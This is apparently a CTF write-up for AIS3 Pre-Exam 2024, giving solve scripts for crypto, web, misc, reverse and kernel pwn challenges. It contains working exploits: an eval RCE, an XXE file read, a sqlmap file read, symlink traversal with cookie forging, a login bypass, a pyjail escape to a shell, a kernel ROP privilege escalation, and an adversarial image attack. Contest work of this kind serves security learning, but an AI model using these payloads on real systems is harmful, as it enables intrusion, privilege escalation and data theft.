Try   HackMD

AIS3 Pre-Exam 2024

screencapture-pre-exam-ais3-org-users-84-2024-05-30-13_58_20

crypto

babyRSA

每個字元爆破

import ast, gmpy2

with open("output.txt") as f:
    e, n = ast.literal_eval(f.readline().split(": ")[1])
    encrypted = ast.literal_eval(f.readline().split(": ")[1])


def brute(c):
    for i in range(1, 1000):
        if gmpy2.powmod(i, e, n) == c:
            return i


pt = [brute(c) for c in encrypted]
print(bytes(pt))
# AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

zkp

p-1 smooth,直接 pohlig-hellman

from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes


p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# io = process(["python", "zkp.py"])
io = remote("10.113.197.211", 7002)
io.sendlineafter(b'Option: ', b'1')
io.recvuntil(b'y = ')
y = int(io.recvlineS().strip())

F = GF(p)
x = F(y).log(F(5))
print(long_to_bytes(int(x)))
# AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

easyRSA

RSA-CRT fault attack,賭它

a=0b0 或是
a0b=0
就能 gcd factor

from pwn import process, remote, context
import ast
from base64 import b64decode, b64encode
from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import gcd
from hashlib import sha256


def sign(io, m: bytes):
    io.sendlineafter(b"Option: ", b"2")
    io.sendline(b64encode(m))
    io.recvuntil(b"Signature: ")
    sig = b64decode(ast.literal_eval(io.recvlineS().strip()))
    return bytes_to_long(sig)


def H(x: bytes):
    return bytes_to_long(sha256(x).digest())



for _ in range(100):
    # io = process(["python", "easyRSA.py"])
    io = remote("10.113.197.211", 7001)
    io.sendlineafter(b"Option: ", b"1")
    io.recvuntil(b"e, n = ")
    e, n = ast.literal_eval(io.recvlineS().strip())

    for _ in range(3):
        s = sign(io, b"a")
        p = gcd(pow(s, e, n) - H(b"a"), n)
        if p != 1 and p < n:
            print(p)
            break
    else:
        io.close()
        print("Retry...")
        continue

    q = n // p
    assert p * q == n
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    msg = b64encode(b"Give me the flag!")
    sig = pow(H(msg), d, n)
    io.sendlineafter(b"Option: ", b"3")
    io.sendline(b64encode(long_to_bytes(sig)))
    io.interactive()
    break
# AIS3{IJustWantItFasterQAQ}

zkp-revenge

r 只有 1000 bits,比 1024 bits 的 p 小,可以當 HNP 解

from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
import random
from lll_cvp import solve_inequality, kannan_cvp, flatter
from functools import partial

p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
# io = process(["python", "zkp-revenge.py"])
io = remote("10.113.197.211", 7004)
# io.sendlineafter(b'Option: ', b'1')
# io.recvuntil(b'y = ')
# y = int(io.recvlineS().strip())


def oracle(c: int):
    assert c >= (1 << 600), f"too small, {c.bit_length() = }"
    assert (p - (1 << 600)) >= c, f"too big, {(p - c).bit_length() = }"
    io.sendlineafter(b"Option: ", b"2")
    io.sendline(str(c).encode())
    io.recvuntil(b"w = ")
    return int(io.recvlineS().strip())


n = 100
cs = []
ws = []
for _ in range(n):
    c = random.randint(1 << 600, p - (1 << 600))
    w = oracle(c)
    cs.append(c)
    ws.append(w)

A = matrix.identity(n) * (p - 1)
B = matrix(cs).stack(matrix(ws))
L = block_matrix([[A, ZZ(0)], [B, ZZ(1)]])


cvp = partial(kannan_cvp, reduction=flatter)
lb = [0] * n + [0, 0]
ub = [2**1000] * n + [2**1000, 1]
sol = solve_inequality(L, lb, ub, cvp=cvp)
flag = long_to_bytes(int(abs(sol[-2])))
print(flag)
# AIS3{Wow!YouAreAMathMaster.}

zkp-revenge-revenge

r 和 sk 都小,3x3 LLL 搞定

from hashlib import sha256, sha512
from Crypto.Util.number import bytes_to_long, long_to_bytes

p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
g = 5
y = 76877500564117340561479939560167662549380204565073702131743107428012689714444806633202327284694273076663891114679380670820137823370006075466398844510385222281656298572125989350694349265225598804027676382026220031106911120943057216404723024451977342357463050947048653070486137491028023427676181317996918186745
a = 32526590557813432311225468105089258546494555415244350281788608747063518675921491018917256510947003590015240891508142579993999814652779526400269868547952177236689287717946082735037730091852991203951584574550470849340000371428356551467909242982615331621193818017280899485386167916245539916646806739532960507968
w = 94719933836524200229466053051493174098073457144103707805716651680927233371260214665579732066265594858984230783676225150374915625611916124448536631197767005015908074049027372069556312296921116072484673673899264970377172224903555466266691193389868887094669203685758808039000189586652974179612444903988887563032
c = bytes_to_long(sha512(f"{y}, {a}, {g}, {p}".encode()).digest() + sha256(f"{p}, {g}, {a}, {y}".encode()).digest()) 

# w = c * sk + r

K = 2**500
L = matrix([
    [p - 1, 0, 0],
    [w, K, 0],
    [c, 0, -1]
]).LLL()
for row in L:
    if abs(row[1]) == K:
        v = sign(row[1]) * row
        print(v)
        break


r, _, sk = v
print(long_to_bytes(int(sk)))
# AIS3{What!YouSolveThis!?MaybeIShouldUseAGreaterRNextTime._.}

md5-encryption

len(str(time.time())) == 18 然後用 length extension attack 猜下個 block 的 xor key

from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
from ptrlib.crypto.hashing import MD5, lenext
from base64 import b64encode, b64decode
import ast

time_time = "1" * 18  # assuming len(str(time.time())) == 18
prefix = f"TimeStamp: {time_time} || User:CTF_Player || data: "
pad_to_block = 16 - len(prefix) % 16
blkidx = (len(prefix) + pad_to_block) // 16


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


def to_blocks(x, n=16):
    return [x[i : i + n] for i in range(0, len(x), n)]


def oracle(data: bytes):
    io.sendlineafter(b"Option: ", b"1")
    io.sendlineafter(b":", b64encode(data))
    bb = ast.literal_eval(io.recvline().decode())
    return b64decode(bb)


context.log_level = "DEBUG"

# io = process(["python", "md5_encryption.py"])
io = remote("10.113.197.211", 7003)

known = (
    b"" + b" || Flag: AIS3{G" + b"ot1stBlk!_2ndblk" + b"!almostdone!thir" + b"d_block~}"
)
assert len(known) % 16 == 0

_, append = lenext(MD5, 80, b"x" * 16, b"", known)
append = append[: -len(known)] if known else append

res = oracle(b"x" * pad_to_block + append)
h = xor(to_blocks(res)[blkidx], append[:16])
print(h.hex())  # md5(sk + msg(time) + pad_to_block), total length = 16 + 64 = 80

hnext, _ = lenext(MD5, 80, h, b"", known)
hnext = bytes.fromhex(hnext)

bs = to_blocks(res)
for h in bs:
    print(xor(h, hnext))

# AIS3{Got1stBlk!_2ndblk!almostdone!third_block~}

web

Evil Calculator

eval

import requests

r = requests.post(
    "http://10.113.197.211:5001/calculate",
    json={
        "expression": "eval(data['x'])",
        "x": "__import__('os').popen('cat /flag').read()",
    },
)
print(r.text)
# AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

Ebook Parser

找個 example epub 下來,改 opf 成 xxe:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE maple[
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<package xmlns="http://www.idpf.org/2007/opf" xmlns:dc="http://purl.org/dc/elements/1.1/" unique-identifier="db-id" version="3.0">

	<metadata>
	    <dc:title id="t1">&xxe; Book</dc:title>
	    <dc:creator>Thomas Hansen</dc:creator>
	    <dc:identifier id="db-id">isbn</dc:identifier>
	    <meta property="dcterms:modified">2014-03-27T09:14:09Z</meta>
	    <dc:language>en</dc:language>
	</metadata>

	<manifest>
	    <item id="toc" 		 href="toc.xhtml" media-type="application/xhtml+xml" properties="nav" />
	    <item id="ncx" 		 href="toc.ncx" media-type="application/x-dtbncx+xml" />
	    <item id="chapter_1" href="chapter_1.xhtml" media-type="application/xhtml+xml" />
	</manifest>

	<spine toc="ncx">
		<itemref idref="toc" />
	    <itemref idref="chapter_1" />
	</spine>

</package>

Flag: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

It's MyGO!!!

sqlmap -u 'http://10.113.197.211:11454/song?id=1' --random-agent --timeout=1 --ignore-timeouts --dbms mysql --file-read=/flag
# AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

It's MyGO!!! Part-time Worker

> ln -s / .root
> zip --symlinks qq.zip *.jpg .lnk
# upload to the website...
> curl 'http://10.113.197.211:51414/image/fe5e2c6cc0811d0a8a9814538d1cd684/.root/app/secret.py'
secret="No_Sumimi...OnlyAveMujuca"
> flask-unsign --secret 'No_Sumimi...OnlyAveMujuca' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA
> curl 'http://10.113.197.211:51414/admin' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA'
AIS3{So_Crazy...MyGO!!!!!_is_Dead}

Capoost

bypass login

POST /user/login HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"username":"4dm1n1337","password":{
"Type": "secret"
}}

create template as admin:

Flag here: {{range $element := G1V3m34Fl4gpL34s3}} {{$element}} {{end}}

create post as other user:

POST /post/create HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/postcreate.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9
Cookie: session=MTcxNjY5MTU1MHxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBc0FDWE4xY0dWeWJtVnVaUT09fIxSAm0BpCvhtW6h7hvB6-KRCbIrePSVIjHsm9QUBCWc
Connection: close

{"title":"flag","template":"flag","data":{},
"owner":"4dm1n1337"}

then access the post:

{"code":500,"msg":"Internal server error","data":"template: flag:1:31: executing \"flag\" at \u003cG1V3m34Fl4gpL34s3\u003e: range can't iterate over AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}"}

Flag: AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}

Login Panel Revenge Revenge

  1. login as admin:admin
  2. get sessionid cookie (e.g. xpeh3ce13en90o1c68uk4715hmoxt5hb)
  3. download db:
> curl "http://10.113.197.211:36743/image/?file=$(printf ./db.sqlite3 | base64 -w0)" > tmp.sqlite3
  1. extract session data:
> sqlite3 tmp.sqlite3 "select session_data from django_session where session_key = 'xpeh3ce13en90o1c68uk4715hmoxt5hb'"
.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw:1sB4w1:C-Cg-CiN9e0WDhIgUtasUAaMPJW4bkZwm0qDrUzYmCw
  1. copy session data (data before the first column)
  2. decode session data:
> import zlib, base64
> sess = '.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw'
> zlib.decompress(base64.urlsafe_b64decode(sess+'=='))
b'{"username":"admin","2fa_passed":false,"2fa_code":7082484879360094293651269236249604349451852510460817002847872354624046760270234196525220185066778285855908689779441065446530244791989229006315990248823213461971758502640028638487998128495678421281994254411337987617776863434840031316915441613592827312136403005747787229057454191770018943305184428758602966324}'
  1. login with 2fa code

AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!}

Misc

Hash Guesser

上傳 1x1 png,1/2 機率會成功

from PIL import Image
Image.new("L", (1, 1), 0).save('qq.png')

Rickroll Remover

很類似 https://blog.maple3142.net/2024/03/03/osu-gaming-ctf-2024-writeups/#i-hate-anime-girls ,只多了 randomize 的操作而已,直接拿 script 來改一改就行

import base64
import sys

import numpy as np
from PIL import Image
import torch
import torch.nn as nn
import torchvision.transforms as transforms
from torchvision.models import vgg11
from matplotlib import pyplot as plt

device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

resize = transforms.Resize((224, 224), antialias=None)
to_tensor = transforms.ToTensor()
normalize = transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))
random = transforms.RandomResizedCrop(384, antialias=True)

model = vgg11()
in_features = model.classifier[-1].in_features
model.classifier[-1] = nn.Linear(in_features, 1)

model.load_state_dict(torch.load("model.pt"))
model = model.to(device)

original = np.array(Image.open("rick.png"))

# st = input(f"Devin's image filtering service (Enter a base64 encoded image)\n")
# try:
#     img = np.frombuffer(base64.standard_b64decode(st), dtype=np.uint8)
#     img = img.reshape(original.shape)
#     assert np.max(np.abs(original.astype(np.int32) - img.astype(np.int32))) <= 8
# except:
#     print("Yet another peaceful day without rickroll")
#     sys.exit(0)


def pipeline(x, skip_to_tensor=False):
    if not skip_to_tensor:
        x = to_tensor(x)
    x = resize(x)
    x = x.unsqueeze(0)
    x = normalize(x)
    x = random(x)
    return x


# assert (pipeline(Image.fromarray(original)) == pipeline(original)).all()
original_t = pipeline(original)
print(original_t.shape)  # [batch, channel, height, width] = [1, 3, 224, 224]

x1 = pipeline(original)
x2 = pipeline(torch.tensor(original, dtype=torch.float32).permute(2, 0, 1) / 255, True)
# assert (x1 == x2).all()


def eval_model(x):
    return torch.sigmoid(model(x))


orig_tensor = torch.tensor(original, dtype=torch.float32).permute(2, 0, 1).to(device)
x = torch.nn.Parameter(torch.clone(orig_tensor), requires_grad=True)  # [C, H, W]

# if os.path.exists("x.png"):
#     xdata = np.array(Image.open("x.png").convert("RGB"))
#     x = torch.nn.Parameter(
#         torch.tensor(xdata, dtype=torch.float32).permute(2, 0, 1).to(device),
#         requires_grad=True,
#     )

# optim = torch.optim.Adam([x], lr=1e-2)
optim = torch.optim.Adam([x], lr=1)
good_cnt = 0
while good_cnt < 8:
    optim.zero_grad()
    # limit the difference to 8
    diff = torch.clamp(torch.clamp(x, 5, 255 - 5) - orig_tensor, -6, 6)
    x.data.copy_(orig_tensor + diff)
    # [C, H, W] -> [1, C, H, W]
    r = pipeline(x / 255, skip_to_tensor=True)
    y = eval_model(r)
    loss = y
    loss.backward()
    optim.step()
    print(y.item(), loss.item())
    if y.item() <= 0.05:  # add a margin due to rounding
        good_cnt += 1
    else:
        good_cnt = 0
print(eval_model(pipeline(x / 255, skip_to_tensor=True)))

# draw x
plt.imsave(
    "x.png",
    x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy().astype(np.uint8),
)

img_data = np.asarray(Image.open("x.png").convert("RGB"))
assert (x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy() == img_data).all()
mx = np.max(np.abs(original.astype(np.int32) - img_data.astype(np.int32)))
print(mx)

tmp_x = normalize(resize(to_tensor(Image.fromarray(img_data))).unsqueeze(0)).to(device)
with torch.no_grad():
    y = torch.sigmoid(model(tmp_x))
    print(y)
# AIS3{reurl.cc/gG83vz}
from PIL import Image
import numpy as np
from base64 import standard_b64encode
from pwn import process, remote
from subprocess import check_output

arr = np.asarray(Image.open("x.png").convert("RGB"))
buf = arr.tobytes()


def get_io(local):
    if local:
        return process(["python", "server.py"])
    io = remote("10.113.197.211", 15351)
    io.recvline()
    powcmd = io.recvline().strip().decode()
    print(powcmd)
    input("ok?")
    token = check_output(powcmd, shell=True).strip()
    print(token)
    io.sendlineafter(b"solution: ", token)
    return io


io = get_io(False)
io.sendlineafter(b")\n", standard_b64encode(buf))
io.interactive()
# AIS3{reurl.cc/gG83vz}

Can you describe Pyjail?

(d:=Desc(),d.desc_helper('__dict__'),ga:=d.helper['__getattribute__'],d.desc_helper('__base__'),object:=d.helper,gao:=ga(object,'__getattribute__'),newobj:=gao([],'__reduce_ex__')(3)[0]    ),gao(newobj,'__builtins__')['__import__']('os').system('sh')
# AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}

rev

Frontend Unraveling Web Application: Master Obfuscated Code Odyssey

把整個網站抓下來,然後把 disable-devtool 那行停用還有把 dope.js 的 setInterval 停用,然後讀 code 看出它 check flag 會先把 flag 放到 window.Ching367436_flag,然後 sleep 後看 window.Ching367436_flag_correct 的結果。

所以可知有其他地方可能會去定期檢查 flag,所以我用 define property 找找看觸發的 code 是哪個:

window.correct = false
Object.defineProperty(window, 'Ching367436_flag_correct', {
    set: v => {
        console.trace('set', v)
        window.correct = v
    },
    get: () => window.correct
})

然後下斷點找一找就發現這邊有個函數的變數裡面有藏 flag:

[AIS3(7765)]: function (_0x4abcd2, _0x1013ed) {
    return _0x4abcd2 === _0x1013ed;
}

Flag: AIS3{posi_ReAl_W0R1d_Obfuc4ted_Code_B9qgXaihce8:5px}

pwn

EBH

Linux kernel pwn, -aslr, +smep, +smap

在 qemu command 後加上 -gdb tcp::12345 然後 gdb target remote localhost:12345 可以 debug

可以觀察發現說 kernel stack 大概在 0xffff............,而 EBH driver 有:

#define PROTECT_ADDRESS_START 0xffffffff00000000

long write_to_address(struct WriteToAddrData *ptr) {
    struct WriteToAddrData data;
    if (copy_from_user(&data, ptr, sizeof(struct WriteToAddrData))) return -EFAULT;

    if (data.target > PROTECT_ADDRESS_START) return -EFAULT;
    if (data.size > 0x60) return -EFAULT;

    return copy_from_user(data.target, data.src, data.size);
}

所以代表 target 可以是 stack address,而且在 no aslr 的情況下是固定的。所以我用 gdb 抓 write_to_address 的 return address 出來,然後可以在那邊寫 0x60 長度的 ROP chain。

ROP chain 構造是直接參考 https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html

大概是 commit_creds(init_creds) 然後 return 到 rop_bypass_kpti 那邊就行

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define GET_PHYSICAL _IO('G', 0)
#define PEEK_PHYSICAL _IO('P', 0)
#define WRITE_TO_ADDRESS _IO('W', 0)
#define WRITE_NOTE _IO('W', 1)

struct PeekPhysicalData {
	void *phyaddr;
	unsigned long peeksize;
	void *peekdata;
};

struct WriteToAddrData {
	void *target;
	void *src;
	unsigned long size;
};

struct WriteNoteData {
	void *src;
	unsigned long size;
};

unsigned long user_cs, user_ss, user_rflags, user_sp;

static void save_state() {
	asm("movq %%cs, %0\n"
	    "movq %%ss, %1\n"
	    "movq %%rsp, %2\n"
	    "pushfq\n"
	    "popq %3\n"
	    : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
	    :
	    : "memory");
	puts("[+] Saved state");
}

static void win(void) {
	char *argv[] = {"/bin/cat", "/flag", NULL};
	char *envp[] = {NULL};
	puts("[+] win!");
	fflush(stdout);
	execve("/bin/sh", argv, envp);
}

int main() {
	int fd = open("/proc/EBH", 0);
	if (fd < 0) {
		puts("[-] Failed to open /proc/EBH");
		return 1;
	}
	save_state();
	// to find rop gadgets:
	// pwndbg `search --asm '...' -e`
	unsigned long pop_rdi = 0xffffffff810a2402;
	unsigned long swapgs_popf_ret = 0xffffffff81c00eaa;
	unsigned long iret_ret = 0xffffffff81024362;
	unsigned long prepare_kernel_cred = 0xffffffff810895e0;
	unsigned long commit_creds = 0xffffffff810892c0;
	unsigned long init_cred = 0xffffffff82443f20;
	unsigned long bypass_kpti = 0xffffffff81c00a45;
	// this works without KPTI
	// unsigned long rop[12] = {pop_rdi,
	//                          init_cred,
	//                          commit_creds,
	//                          swapgs_popf_ret,
	//                          0,
	//                          iret_ret,
	//                          (unsigned long)win,
	//                          user_cs,
	//                          user_rflags,
	//                          user_sp,
	//                          user_ss};
	unsigned long rop[12] = {pop_rdi,
	                         init_cred,
	                         commit_creds,
	                         bypass_kpti,
	                         0xdeadbeef,
	                         0xdeadbeef,
	                         (unsigned long)win,
	                         user_cs,
	                         user_rflags,
	                         user_sp,
	                         user_ss};
	struct WriteToAddrData writedata = {
	    .target =
	        (void
	             *)0xffffc900001afe58,  // stack return address of write_to_address
	    .src = rop,
	    .size = 0x60,
	};
	if (ioctl(fd, WRITE_TO_ADDRESS, &writedata) < 0) {
		puts("[-] Failed to write to the address");
		close(fd);
		return 1;
	}

	close(fd);
	return 0;
}
// AIS3{Oh_n0_1_fOrg37_%O_`iounmap`,_T_Wi|l_r3m*MbEr_i7_Ne/t_t1m#_QAQ}
// ありがとう、ptr-yudai さん
// https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html